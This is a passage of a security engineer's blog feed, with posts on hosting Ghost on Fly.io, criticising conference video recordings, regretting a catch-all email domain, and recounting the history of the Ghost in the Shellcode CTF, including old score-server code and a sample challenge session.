class="p">=</span><span class="mi">443</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[[</span><span class="nx">services</span><span class="p">.</span><span class="nx">tcp_checks</span><span class="p">]]</span></span></span><span class="line"><span class="cl"><span class="nx">grace_period</span><span class="p">=</span><span class="s2">"1s"</span></span></span><span class="line"><span class="cl"><span class="nx">interval</span><span class="p">=</span><span class="s2">"15s"</span></span></span><span class="line"><span class="cl"><span class="nx">restart_limit</span><span class="p">=</span><span class="mi">0</span></span></span><span class="line"><span class="cl"><span class="nx">timeout</span><span class="p">=</span><span class="s2">"2s"</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="p">[</span><span class="nx">mounts</span><span class="p">]</span></span></span><span class="line"><span class="cl"><span class="nx">source</span><span class="p">=</span><span class="s2">"ghost_data"</span></span></span><span class="line"><span class="cl"><span class="nx">destination</span><span class="p">=</span><span class="s2">"/var/lib/ghost/content"</span></span></span></code></pre></div><p>The complete fly.toml file</p><p>This worked fine and I felt really dumb. Now I&rsquo;m running the latest Ghost and I don&rsquo;t have to think about versions.</p><p>I don&rsquo;t know if there&rsquo;s a moral for this story. It&rsquo;s all my fault for reading the ghost 5.x change log and trusting it.</p></description></item><item><title>Stop publishing conference videos</title><link>https://www.notcheckmark.com/2022/11/stop-publishing-conference-videos/</link><pubDate>Fri, 04 Nov 2022 19:42:50 +0000</pubDate><guid>https://www.notcheckmark.com/2022/11/stop-publishing-conference-videos/</guid><description><p>They’re terrible!</p><p>It&rsquo;s incredibly frustrating to try to digest a talk when the video was recording from a camera on a tripod, has attendees walking into frame, and the video is constantly (shakily) switching between the speaker and a washed-out slide deck projected onto a wall. Some conferences and presenters even encourage unprompted audience interaction. This interaction gets lost – we just hear the presenter get interrupted midsentence, stop and stare into the audience, and then we hear an answer with no context1. Recordings distract the organizers and are one of the largest sources of conference execution woes. We should stop this madness.</p><p><figure><img src="/content/images/2022/11/speechless-saturday-night-live.gif" alt=""><figcaption>Live footage of someone interrupting a presentation to ask a question</figcaption></figure></p><p>I firmly believe conferences are about building personal connections while discussing shared interests. The presentations facilitate making these connections, they provide conversation icebreakers for folks to connect during coffee breaks, meals, in the hallway, or during after-events. They’re a sort of non-alcoholic social lubricant. The presentations are not the draw of the conference, they’re a pretext to meet in person and have work pay for it.</p><p><figure><img src="/content/images/2022/11/1017-4-cocktail-crowd-620.jpg" alt=""><figcaption>A strong hallway track makes a conference truly excellent</figcaption></figure></p><p>I’ve organized conferences and ensuring videos are recorded is a huge cognitive load<em>and it provides little to no value to the people actually attending the conference.</em> Yet those same attendees have to bear the financial costs! High-quality recordings require hiring professionals – recording and editing videos is expensive as it is a high-skill and time-consuming task. Even with professional editing, the videos suffer because it’s still a live recording of content that wasn’t designed for recording.</p><p><figure><img src="/content/images/2022/11/cppcon-interruptions.jpg" alt="Why don’t they just let the speaker speak?  A common question/complaint concerns how often C++Now speakers are interrupted by questions (and sometime by comments that aren’t even questions) from the audience. Sometimes viewers are thinking, “I’m not watching this to hear you, I’m listening for the speaker.” This results from a misunderstanding about the nature of our conference. C++Now is very much a collaborative conference."><figcaption>C++ conferences have a culture of interruption. C++Now&rsquo;s<a href="https://cppnow.org/about/faq/">FAQ</a> addresses it.</figcaption></figure></p><h2 id="prepare-publications-for-the-medium-theyre-presented-in">Prepare publications for the medium they&rsquo;re presented in</h2><p>You may have read the title and thought I’m advocating for putting up financial barriers and making information more exclusive, but that’s not my goal at all. We should be sharing our research, thoughts, technical achievements, policy positions, etc. as widely as possible – but we should tailor them for the mediums in which they’re distributed. Conference presentations are for conferences.</p><p>Before YouTube existed (or allowed videos longer than 10 minutes), folks would upload their slide decks to a file share or SlideShare and claim they published the talk – but the slides are only the visual aid for the presentation. They’re meant to enhance the talk and provide the necessary visual context. Reading someone’s slides feels a lot like watching your airplane neighbor’s movie choice, you can probably piece together the story but wouldn’t it be better if you also had headphones? YouTube gives us the tools to widely distribute audio and visual presentations, but we should do better than uploading conference recordings.</p><p>I recognize that tailoring your work for other mediums is more work, but I’d hope the speaker’s motivation to present is to disseminate their work widely and not simply to be the center of attention for an hour or to check a box in search of a job promotion2. Ideally, speakers would be willing to put in a little extra work to make their work more accessible3.</p><h2 id="a-better-way">A better way</h2><p>Ideally, presenters would record and edit their presentations with proper video and audio equipment, perfect lighting, and no interruptions, but obviously, that’s infeasible for most4. As an alternative, I’m a big fan of an “exploded presentation” blog post (my name for it, is there a better name?) where you export all the slides as individual images and you write the spoken commentary alongside the slides. Essentially, you turn an audio-visual presentation into a purely visual one with little additional effort. If you don’t have speaker notes, you can feed your talk through a service such as descript and fix those up5.</p><p><figure><img src="/content/images/2022/11/idlewords.jpg" alt=""><figcaption>The excellent<a href="https://idlewords.com/talks/haunted_by_data.htm">Idlewords blog</a> uses the &ldquo;exploded talk&rdquo; format</figcaption></figure></p><p>You could also write an old fashion blog post or a 30+ tweet Twitter thread.</p><h3 id="ownership">Ownership</h3><p>Finally, conferences make a lot of money – hundreds of thousands of dollars of net profit is not uncommon – but many do not compensate speakers in any way. Many will cover an economy flight and a few nights at the conference hotel, but others don’t and even require speakers to buy conference tickets6. If they refuse, those conferences will escort them in and out for their talk only.</p><p>The speaker generally creates and owns the content of the presentation. They should get a financial share of their hard work. If conferences don’t offer that, then self-publishing does.</p><h2 id="stop-the-madness">Stop the madness</h2><p>Stop the madness. Stop publishing conference videos and make your work more accessible.</p><hr><h3 id="footnotes">Footnotes</h3><ol><li>Or worse, a conversation starts and the result is “find me after the talk to discuss it” so we suffer through the bad remote experience with no payoff.</li><li>Shouldn’t you be building a new Google Meets app or something instead?</li><li>This includes accessibility for cost reasons but also for other accessibility reasons such as hearing impairments.</li><li>There’s a lot of influencer content out there on how to do this though!</li><li>It would be really neat if someone built a presentation exploder on top of a service like<a href="https://www.descript.com/">Descript</a>.</li><li>This seems common for industry consortium conferences. An example is<a href="https://www.fsisac.com/">FS-ISAC</a>&rsquo;s conference.</li></ol></description></item><item><title>Using a catch-all domain is a mistake</title><link>https://www.notcheckmark.com/2022/06/catch-all-domain/</link><pubDate>Wed, 01 Jun 2022 13:53:16 +0000</pubDate><guid>https://www.notcheckmark.com/2022/06/catch-all-domain/</guid><description><p>A few years ago, I set up a free Google Workspace account on my domain and configured a catch-all email. Anything in the username field of the domain routed to my user account, for example,<a href="mailto:uber@notcheckmark.com">uber@notcheckmark.com</a> ended up at<a href="mailto:me@notcheckmark.com">me@notcheckmark.com</a>.</p><p>I wanted to see who shared my email and give myself a way to block those bad actors. If Uber started selling my email, I could just trash everything to<a href="mailto:uber@notcheckmark.com">uber@notcheckmark.com</a>. A lot of people do this with the &ldquo;+&rdquo; character, appending something to the end of the username part of their email (e.g.<a href="mailto:john+uber@gmail.com">john+uber@gmail.com</a>), but this is easily identified and removed.</p><p>I started using it everywhere for every business I dealt with: hilton@, marriot@, hyatt@, delta@, comcast@, citi@, banana@, jcrew@, etc.</p><p>It was all a huge mistake.</p><p>What happened is a decade of awkward interactions.</p><blockquote><p>[At a Hilton check-in]<br>
Hotel Clerk: I see you&rsquo;re a Hilton Honors member with us under&hellip;.<a href="mailto:hilton@notcheckmark.com">hilton@notcheckmark.com</a>?<br>
Me: Yes, that&rsquo;s correct<br>
Clerk: Do you&hellip;do you work for Hilton?<br>
Me: No<br>
Clerk: Oh you must be a huge fan then!<br>
Me: 🙃</p></blockquote><p>At one time, I may have tried to explain it but it&rsquo;s never less embarrassing.</p><blockquote><p>[At J.Crew, trying to do a return]<br>
Employee: Can I have an email to look up your order details?<br>
Me: Yeah, it&rsquo;s jcrew&hellip;at<br>
Employee: jcrew?<br>
Me: Yeah, jcrew at notcheckmark.com<br>
Employee: hold on, jcrew at no checkmarks dot com?<br>
Me: Can you look me up by phone number or name?</p></blockquote><p>For other companies, like Gap, my email on file is banana@ because I signed up in person at Banana Republic and used a shortened version to make things smoother. Gap and Banana Republic are the same company and share rewards and customer information systems. Do I remember that when I visit Gap? Largely no. If I do remember they&rsquo;re the same company, do I remember that I&rsquo;m using banana@ and not bananarepublic@ or br@? Definitely not.</p><p>I also have a bunch that I&rsquo;ve misspelled. My GrubHub account is gruhub@. I use a password manager for passwords but I also need to use it to remember the associated emails.</p><blockquote><p>[Trying to log into a website I know I have an account for]<br>
Website: Please enter the email address you used to register<br>
/me tries a dozen variations and hits rate limit before discovering the correct one</p></blockquote><p>Every so often I need to email a company from one of these emails which requires me to configure my email client to match what they expect. If I don&rsquo;t, I risk the email getting routed wrong or having to prove it&rsquo;s actually mine.</p><p>Has it been worthwhile? No, not really. The only benefit is that I&rsquo;m able to tell when companies are breached before wider disclosures because I start getting spam emails sent to thatcompany@.</p><p>The truth is no one really sells your email – at least no legitimate companies. The one outlier is political campaigns: they&rsquo;ll share your email till the end of time. No matter what I do I can&rsquo;t get bernie@ purged from any lists. Every level of government has that email and they share it as widely as they can. I&rsquo;m pretty sure I only gave him $20 a decade ago.</p><p>It&rsquo;s been a decade of trouble and totally not worth it. Especially since all these companies ask for and verify your cell phone number – which is way more static than any email address. It&rsquo;s basically your digital SSN.</p></description></item><item><title>Ghost in the Shellcode</title><link>https://www.notcheckmark.com/2022/05/ghost-in-the-shellcode/</link><pubDate>Tue, 24 May 2022 15:28:00 +0000</pubDate><guid>https://www.notcheckmark.com/2022/05/ghost-in-the-shellcode/</guid><enclosure url="https://www.notcheckmark.com/content/images/size/w1600/2022/05/shellcodetv-banner-small-1.webp" type="image/webp" length="0"/><description><p>We ran<a href="http://ghostintheshellcode.com/">Ghost in the Shellcode</a> (GitS) from 2010 to 2015. It was one of the earlier Capture the Flag (CTF) hacking competitions. When we launched it, there really were only four other CTFs:<a href="https://defcon.org/html/links/dc-ctf.html">DEFCON CTF</a> and<a href="http://www.codegate.org/en/hacking/general">Codegate CTF</a> were open to everyone and<a href="https://www.csaw.io/ctf">CSAW CTF</a> and<a href="https://shellphish.net/ictf/">iCTF</a> were academic-oriented. There may have been others, but this is how I remember it.</p><p><img src="/content/images/2022/05/gitsc-logo.webp" alt="">Ghost in the Shellcode</p><p>Most of us had just won the DEFCON 17 CTF finals as VedaGodz and decided that we too should run a CTF and we&rsquo;d do it at a conference for a little added prestige.<a href="https://shmoocon.org/">ShmooCon</a> was coming up soon and was the next largest US conference and they didn&rsquo;t have a CTF.<a href="https://twitter.com/psifertex">Jordan</a> knew<a href="https://twitter.com/gdead">Bruce</a>, the founder of the Shmoo Group and the conference. He reached out around Thanksgiving and we were in, they were going to give us a room to host our very own CTF!</p><h2 id="dont-panic">(Don&rsquo;t) Panic</h2><p>ShmooCon happens in January in most years but was in February that year (2010). Which meant we only had about 8 weeks to design and put together a CTF, but we still took a few weeks to start.</p><p>First, we had to pick a name. Someone – Jordan? Brandon?<a href="https://github.com/verylazyguy">Greg</a>? – on the team was watching Ghost in the Shell during the meeting and it was suggested we do a Ghost in the Shell themed game and use the name Ghost in the Shellcode. We didn&rsquo;t have a better name, so we went with it and decided we&rsquo;d change the theme<em>and</em> name every year.</p><p>Next, we had to figure out game dynamics. Were we going to do an attack-defense CTF like the DEFCON CTF finals or are we going to do an attack-only CTF – aka Jeopardy board? We really wanted to do an attack-defense game but time constraints made us go with the Jeopardy board.</p><p>Someone volunteered to write the scoring server. Remember, it was 2009, CTFd wouldn&rsquo;t be written or released for another 6 or so years. At the time CSAW CTF handled submissions by having competitors email flags to the organizers.</p><p>The rest of us then went and tried to write as many challenges as we could.</p><p>However, that person dropped the ball and we didn&rsquo;t have a scoring server with only two days left. Greg and<a href="https://twitter.com/computerality">Jay</a> picked up the task – writing the majority of it on the plane and in the hotel room the night before. They decided to write it in Python, which was fairly new to us – most of us only wrote C and maybe a bit of Perl.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span><span class="nc">AJAXHandler</span><span class="p">(</span><span class="n">SimpleHTTPServer</span><span class="o">.</span><span class="n">SimpleHTTPRequestHandler</span><span class="p">):</span></span></span><span class="line"><span class="cl"><span class="k">def</span><span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span></span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="s2">"GET in thread:</span><span class="si">%s</span><span class="se">\n</span><span class="s2">"</span><span class="o">%</span><span class="p">(</span><span class="n">threading</span><span class="o">.</span><span class="n">currenThread</span><span class="p">()</span><span class="o">.</span><span class="n">getName</span><span class="p">(),)</span></span></span><span class="line"><span class="cl"><span class="s2">"""Serve a GET request."""</span></span></span><span class="line"><span class="cl"><span class="bp">self</span><span class="o">.</span><span class="n">encoder</span><span class="o">=</span><span class="n">json</span><span class="o">.</span><span class="n">JSONEncoder</span><span class="p">()</span></span></span><span class="line"><span class="cl"><span class="n">parsed_path</span><span class="o">=</span><span class="n">urlparse</span><span class="o">.</span><span class="n">urlparse</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="c1">#parsed_path: (scheme,netloc,path,params,query,fragment)</span></span></span><span class="line"><span class="cl"><span class="c1">#print parsed_path[2]</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="n">parsed_path</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">==</span><span class="s2">"/ajax/"</span><span class="p">:</span></span></span><span class="line"><span class="cl"><span class="bp">self</span><span class="o">.</span><span class="n">do_OPTIONS</span><span class="p">()</span></span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span></span></span><span class="line"><span class="cl"><span class="n">f</span><span class="o">=</span><span class="bp">self</span><span class="o">.</span><span class="n">send_head</span><span class="p">()</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="n">f</span><span class="p">:</span></span></span><span class="line"><span class="cl"><span class="bp">self</span><span class="o">.</span><span class="n">copyfile</span><span class="p">(</span><span class="n">f</span><span class="p">,</span><span class="bp">self</span><span class="o">.</span><span class="n">wfile</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span></span></span></code></pre></div><p>A small sample of our first score server. This was before flask existed but also we didn&rsquo;t know what we were doing.</p><p>I was definitely unhelpful that night. I was sleep-deprived and kept suggesting we go buy golf pencils ✏️ and golf score sheets to let competitors submit flags. Dustin and Andrew were late flying in and were panicked about the lack of scoring server. I definitely got on their nerves with this suggestion.</p><h3 id="sphere-grid">Sphere Grid</h3><p>For our scoreboard interface, we went with a &ldquo;sphere grid&rdquo; design. We weren&rsquo;t great about sticking to the theme of &ldquo;Ghost in the Shell&rdquo; – to this day 12 years later I&rsquo;ve never seen an episode. The sphere grid was inspired by one of the Final Fantasy game&rsquo;s tech trees.</p><p><img src="/content/images/2022/05/scoreboard-1.webp" alt="">The &ldquo;Sphere Grid&rdquo; scoreboard</p><p>This was another concession we made due to lack of time. We didn&rsquo;t have enough challenges to fill a normal scoreboard. We had too many pwnables and not enough crypto or web challenges – which is an evergreen statement about GitS. We devised this complicated scoreboard where we started in the center of the grid and you could only unlock one or two other challenges – giving us some extra time to write more challenges as the game went on.</p><p>We strategically placed harder challenges on junction points to slow the game down. We were terrified of someone unlocking half the game board in the first few hours. Notice in the screenshot above that only about half of the nodes are glowing, we only had 12 challenges for the 21 spots. At the time we lied and said we&rsquo;d release those &ldquo;unopened&rdquo; challenges next year.</p><p>Running the game itself was interesting since we were new to ShmooCon – none of us had attended it prior – we didn&rsquo;t know what the conference network situation would be. The game was going to be in person only which made it a little easier. We decided to bring our own network equipment to put up a wireless network and two small Dell Optiplex 960s as our servers. All of us lived in Florida so we had to carry these servers as personal items on the flights. I&rsquo;ve brought a few small form factor PCs through TSA and it&rsquo;s always a struggle explaining it&rsquo;s a computer even without a monitor.</p><p><img src="/content/images/2022/05/dell960.webp" alt="">Our server infrastructure</p><p>There was a problem though. WiFi at the time was 802.11b/g and WEP was the widely supported encryption protocol and deauthorization attacks to sniff everyone&rsquo;s traffic were easily achieved. The Shmoo Group itself published<a href="https://ftp.unpad.ac.id/orari/library/library-sw-hw/linux-1/airsnort/AirSnort%20Homepage.htm">AirSnort</a>, a tool for doing exactly that. Shortly after we made it to the hotel we realized it would be a problem and had to set up our own self-signed CA and cut TLS certs for all the services.</p><p>We launched the game on time and had about 15 people playing! The scoreboard broke immediately after the first solution – we had failed to properly map the sphere grid connections. After the first few hours, we were pretty confident the board wouldn&rsquo;t be cleared so we were able to enjoy the conference and socialize with the competitors.</p><p><img src="/content/images/2022/05/snow.webp" alt="">A Historic Mess</p><p>Then the snow came. They called it Snowmageddon and it was historic amounts of snow for the DC region. Most of the team grew up in Florida, so it was their first time seeing snow – definitely the first to see so much snow. We stole serving trays from the hotel and used them as (very poor) saucer snow sleds and chucked them into the bushes for the hotel to find them in the spring. Jordan found a couple of people who decided they were going to leave the conference early and drive home to Florida. The rest of us stayed, for what turned out to be an extra week longer as every flight was canceled consistently for that week.</p><p>The first year was in the bag and we could switch focus to preparing for DEFCON CTF. We now had two CTF seasons: competing in DEFCON CTF and hosting Ghost in the Shellcode.</p><h2 id="year-two">Year Two</h2><p><img src="/content/images/2022/05/2011team.webp" alt="">Most of the 2011 Ghost in the Shellcode organizing team. Not pictured: me.</p><p>As you probably guessed, we never changed the name with a new theme. This year the conference was moving to the wonderful Washington Hilton.<a href="https://twitter.com/heidishmoo">Heidi</a>, who is the main point of contact for all things ShmooCon, gave us a larger room and even gave us a free ticket to the conference to give away.</p><p>We were trying to build a little hype but also wanted to get tickets out to people who wanted to play. ShmooCon is notorious for being difficult to get tickets to – they generally sell out in less than 20 seconds. We thought, &ldquo;Hey, we can do a mini-competition and host it online to give out the ticket.&rdquo;</p><p>We called it the &ldquo;CTF Warm-up&rdquo; but in later years changed the name to the teaser. The first teaser was won by<a href="https://twitter.com/zoaedk">awesie</a>, one of the original members of<a href="http://pwning.net/">PPP</a>.</p><p>For the challenges that year, I had spent a bit of time reversing ddtek&rsquo;s and kenshoto&rsquo;s standard pwnable library and reimplementing it for our own use. It was fun having<a href="https://twitter.com/invisig0th">Visi</a> and<a href="https://twitter.com/sk3wl">Eagle</a> claiming we stole it, but Eagle himself stole it from Visi!</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// Service setup functions</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="nf">socketListen</span><span class="p">(</span><span class="kt">unsigned</span><span class="kt">short</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="nf">loop</span><span class="p">(</span><span class="kt">int</span><span class="n">fd</span><span class="p">,</span><span class="kt">int</span><span class="p">(</span><span class="o">*</span><span class="n">childHandler</span><span class="p">)(</span><span class="kt">int</span><span class="p">));</span></span></span><span class="line"><span class="cl"><span class="kt">int</span><span class="nf">drop_privs_user</span><span class="p">(</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="n">user</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="kt">int</span><span class="nf">drop_privs</span><span class="p">(</span><span class="k">struct</span><span class="n">passwd</span><span class="o">*</span><span class="n">user</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="nf">alarm_handler</span><span class="p">(</span><span class="kt">int</span><span class="p">);</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="c1">// main child handler</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">int</span><span class="nf">handleConnection</span><span class="p">(</span><span class="kt">int</span><span class="p">);</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="c1">// socket read and write functions</span></span></span><span class="line"><span class="cl"><span class="c1"/><span class="kt">ssize_t</span><span class="nf">sendAll</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span><span class="kt">char</span><span class="o">*</span><span class="p">,</span><span class="kt">size_t</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="kt">ssize_t</span><span class="nf">sendMsg</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span><span class="kt">char</span><span class="o">*</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="kt">ssize_t</span><span class="nf">sendMsgf</span><span class="p">(</span><span class="kt">int</span><span class="p">,</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="p">,</span><span class="p">...);</span></span></span><span class="line"><span class="cl"><span class="kt">ssize_t</span><span class="nf">readAll</span><span class="p">(</span><span class="kt">int</span><span class="n">sock</span><span class="p">,</span><span class="kt">char</span><span class="o">*</span><span class="n">buf</span><span class="p">,</span><span class="kt">size_t</span><span class="n">len</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="kt">ssize_t</span><span class="nf">readUntil</span><span class="p">(</span><span class="kt">int</span><span class="n">sock</span><span class="p">,</span><span class="kt">char</span><span class="o">*</span><span class="n">buf</span><span class="p">,</span><span class="kt">size_t</span><span class="n">len</span><span class="p">,</span><span class="kt">char</span><span class="n">sentinal</span><span class="p">);</span></span></span></code></pre></div><p>&ldquo;Our&rdquo; standard library header</p><p>The biggest concern was screwing up process privileges and having a standard wrapper made that far less likely.</p><p>I also decided I&rsquo;d rewrite the score server and introduce a ton of leader board sorting bugs. We fixed them live every year we used that software and then promptly forgot to commit the changes to our SVN server (remember, it was 2011 and git was difficult).</p><p>I think 2011 was the year that Jordan and I flew up a little early for some work-related reason and got stuck on the DC Metro under the Potomac for an hour when the metro system lost power. It should have been a sign.</p><p><img src="/content/images/2022/05/snow2011.webp" alt="">In 2011 they called it &ldquo;Snowpocalypse&rdquo;</p><p>The competition went off without any issues. It was still an in-person-only CTF. I remember giving away points to a team who brought us donuts.</p><p>But the snow started again and it was somehow worse than the year before. Several of our friends got stranded overnight in their cars on the interstates. It was decided that I would rent a car since I had seen snow before in my life – being from the scary northern US. It was less joyous this year as we remembered the prior year. Greg and I ended up driving back to Florida because our flights kept getting canceled again.</p><p>Having to create 30 challenges a year can be daunting, so we&rsquo;d have brainstorming sessions. I found these old challenge ideas from our<a href="https://trac.edgewall.org/">trac</a> from around this time. Only a few are winners:</p><ul><li>Something called buffalo overrun.</li><li>An animated gif where the timeout between frames spells out another<br>
hint/key. It would have to be an archer gif - is there an archer quote about<br>
timing?</li><li>Something like the<code>ashdoc2.png</code> where they<code>cat</code>&rsquo;d a wav on the end of a png<br>
and you could play it by<code>cat</code>&lsquo;ing it to<code>/dev/dsp</code></li><li>I really like the idea of using the Compton lyrics and mac<code>say</code>.<code>say</code> has a<br>
an option that allows network play, maybe a forensics challenge or something?<br>
Could use Rick Astley instead.</li><li>Opcode trivia, six bytes to jump to<code>eax+0x100</code>. (use a different reg?)</li><li>Dustin&rsquo;s SHA*FUN</li><li>A bonus points question that gives you complete stack control and requires<br>
you to ROP. Libc will be moved so they can&rsquo;t ret-to-libc.</li><li>A challenge that executes the shellcode in a QR code and prints out<br>
debugging info</li><li>Wub (dubstep) encoded data - from Dillon</li><li>pascal strings</li><li>one&rsquo;s complement</li><li>The embarrass Jordan contest (get a picture with Jordan where he&rsquo;s super<br>
embarrassed)</li><li>ddtekd, all format strings, ipv6</li><li><a href="http://www.usenix.org/events/woot11/tech/final_files/Oakley.pdf">dwarf byte-code</a></li></ul><p>The ROP one is funny in retrospect. ROP was new and exciting at the time.</p><p>I had liked the idea of giving people large, unwieldy prizes for winning. Surfboards seemed appropriate, but were logistically difficult. We ended up ordering custom skateboards.</p><p><img src="/content/images/2022/05/skate.webp" alt="">The picture above says we ordered four, but I only remember ordering three. Maybe one fell off a truck? 👀</p><p>We had planned to give the winning team three boards, but managed to destroy two of them before we gave them away. The boards were shipped without grip tape on the top side, but the grip tape was included – so we figured we&rsquo;d afix it. I left them in my office on my office couch. Later, a coworker came in and stacked and moved them so he could sit and ask a question. Stacking them put the Ghost in the Shellcode logos in direct contact with the super coarse grip tape, scratching the decks – only the outer one survived and we awarded it to awesie for winning that year.</p><h2 id="year-three">Year Three</h2><p>After two years of flying up with all our infrastructure and having to spend the night before frantically setting it up, we decided to try hosting the competition on Amazon AWS. No one else had tried it yet and we had no idea what it would cost us.</p><p>Around this time, I decided I was going to be the treasurer of the team and I started charging yearly membership dues of $100. We had a lot of people who wanted to be part of the team but never actually contributed anything. I thought the dues would make them more serious but in the end, we just had more spending money. The larger budget helped us buy nicer prizes, swag, and pay for the unknown AWS bill.</p><p>This was the first big Ghost in the Shellcode as it was the first one where we allowed remote teams to compete. All the biggest teams of the day played: PPP, Eindbazen, EuroNOP, pwningyeti, TracerTea, More Smoked Leet Chicken, 0ld Europe, and others.</p><p>We switched the scoreboard away from the sphere grid and had a custom monopoly game commissioned for both the scoreboard and had one printed for the prize.</p><p><img src="/content/images/2022/05/monopoly.webp" alt="">GitSopoly</p><p>This year we released one of our best challenges: Khazâd. Khazâd was a 600-point pwnable written in C++ and used exceptions pretty extensively. Khazâd was sneaky, it was only exploitable due to a bug in the DWARF exception handling functions. 0xff did a fantastic<a href="https://web.archive.org/web/20120410105542/http://blog.oxff.net/#k6jx7ewsq2bbid6giflq">write-up</a> that I was able to dig out of the Wayback Machine. 0xff&rsquo;s impression of the competition as a whole was poor but also he&rsquo;s German.</p><p>PPP won for the second year in a row – at the time PPP was actually notorious for coming in 2nd place in most of their competitions. They used to joke that they could never win. They probably don&rsquo;t make that joke anymore. I hope they still have the monopoly game somewhere in Pittsburgh.</p><p>No massive snowstorms that year – the weather was pretty nice. The AWS bill ended up being somewhere around $100 and that&rsquo;s with a ton of overprovisioning.</p><h2 id="year-four">Year Four</h2><p><img src="/content/images/2022/05/IMG_0118.webp" alt="">For 2013, ShmooCon went with a snow theme. I stole this banner and other the ones from other years too – presumably, it&rsquo;s still hanging in Florida.</p><p>2012 was an election year so the conference had to move hotels, as the Washington Hilton was unavailable – booked by the Romney transition team for if he had won. We moved to the Hyatt Regency Capitol Hill. The hotel was smaller and we had to share a room – but don&rsquo;t worry, we managed to take over most of the room.</p><p><img src="/content/images/2022/05/IMG_0121.webp" alt="">We ran it from the back corner. We also all had matching embroidered GitS hoodies with thumbholes (boo hiss)</p><p>For this year&rsquo;s game, we introduced shellcode.tv, a streaming site we used to play distracting videos and some CTF-appropriate music. I wanted to make the scoreboard only accessible via the video stream but was overruled. Not everyone had the connection required to stream our HD distraction. We played all the CTF room classics such as Benny Benassi (<a href="https://www.youtube.com/watch?v=a0fkNdPiIL4">1</a>) (<a href="https://www.youtube.com/watch?v=McoZeLJhKok">2</a>), Die Antwoord (<a href="https://www.youtube.com/watch?v=8Uee_mcxvrw">1</a>), deadmau5 (<a href="https://www.youtube.com/watch?v=h7ArUgxtlJs">1</a>), and probably an embarrassing amount of dubstep.</p><p><img src="/content/images/2022/05/shellcodetv-warning.webp" alt="">The warning we ran at the bottom of shellcode.tv. We were so hip.</p><p>A challenge I particularly liked was folly, which I wrote. Folly was a shellcoding challenge with several stages. When you connected you were prompted with a choose your own adventure prompt. Apparently, I was reading Don Quixote at the time because I made it Don Quixote-themed.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ nc folly.2013.ghostintheshellcode.com<span class="m">5679</span></span></span><span class="line"><span class="cl">Hola! I am Sancho, who are you?</span></span><span class="line"><span class="cl">Don Quixote de la Mancha</span></span><span class="line"><span class="cl">Hello! Are you ready<span class="k">for</span> your adventure?</span></span><span class="line"><span class="cl">Sire, what should we<span class="k">do</span>?</span></span><span class="line"><span class="cl"><span class="o">(</span>S<span class="o">)</span>earch<span class="k">for</span> your lady love, Dulcinea del Toboso</span></span><span class="line"><span class="cl"><span class="o">(</span>A<span class="o">)</span>ttack Giants</span></span><span class="line"><span class="cl"><span class="o">(</span>M<span class="o">)</span>ount Rocinante</span></span><span class="line"><span class="cl"><span class="o">(</span>Q<span class="o">)</span>uit</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">>M</span></span><span class="line"><span class="cl">Sire! Let me<span class="nb">help</span> you onto your steed.</span></span><span class="line"><span class="cl">Sire, what should we<span class="k">do</span>?</span></span><span class="line"><span class="cl"><span class="o">(</span>S<span class="o">)</span>earch<span class="k">for</span> your lady love, Dulcinea del Toboso</span></span><span class="line"><span class="cl"><span class="o">(</span>A<span class="o">)</span>ttack Giants</span></span><span class="line"><span class="cl"><span class="o">(</span>M<span class="o">)</span>ount Rocinante</span></span><span class="line"><span class="cl"><span class="o">(</span>Q<span class="o">)</span>uit</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">>A</span></span><span class="line"><span class="cl">Just<span class="k">then</span> they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire,<span class="s2">"Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless."</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="s2">"What giants?"</span> asked Sancho Panza.</span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="s2">"Those you see over there,"</span> replied his master,<span class="s2">"with their long arms. Some of them have arms well nigh two leagues in length."</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="s2">"Take care, sir,"</span> cried Sancho.<span class="s2">"Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl">What will you shout as you attack the giants?</span></span><span class="line"><span class="cl">TEST</span></span><span class="line"><span class="cl">Sire, what should we<span class="k">do</span>?</span></span><span class="line"><span class="cl"><span class="o">(</span>S<span class="o">)</span>earch<span class="k">for</span> your lady love, Dulcinea del 